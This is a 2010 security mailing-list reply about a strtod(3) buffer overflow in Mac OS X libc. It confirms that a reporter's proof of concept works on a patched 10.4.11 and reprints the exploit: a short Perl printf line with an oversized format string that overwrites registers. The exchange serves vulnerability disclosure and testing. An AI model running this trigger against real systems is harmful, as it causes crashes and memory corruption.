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Re: MacOS X 10.5/10.6 libc/strtod(3) buffer overflow
From: Joshua Levitsky <jlevitsk () joshie com>
Date: Tue, 12 Jan 2010 12:54:23 -0500

On Mon, Jan 11, 2010 at 12:26 PM, Maksymilian Arciemowicz <
cxib () securityreason com> wrote:



Could you check perl PoC ?
It should overwrite esi and edi register

esi=0x41414141
edi=15


The perl PoC worked on 10.4.11 fully patched.

http://securityreason.com/achievement_securityalert/63

Example 0:
- --- chujwamwmuzg.pl ---
#!/usr/local/bin/perl
printf "%0.4194310f", 0x0.0x41414141;
- --- chujwamwmuzg.pl ---

-- 
Joshua Levitsky, MCSE, CISSP
http://www.jnuxhosting.net
http://www.jnux.net
http://blog.joshie.com/
[5957 F27C 9C71 E9A7 274A 0447 C9B9 75A4 9B41 D4D1]
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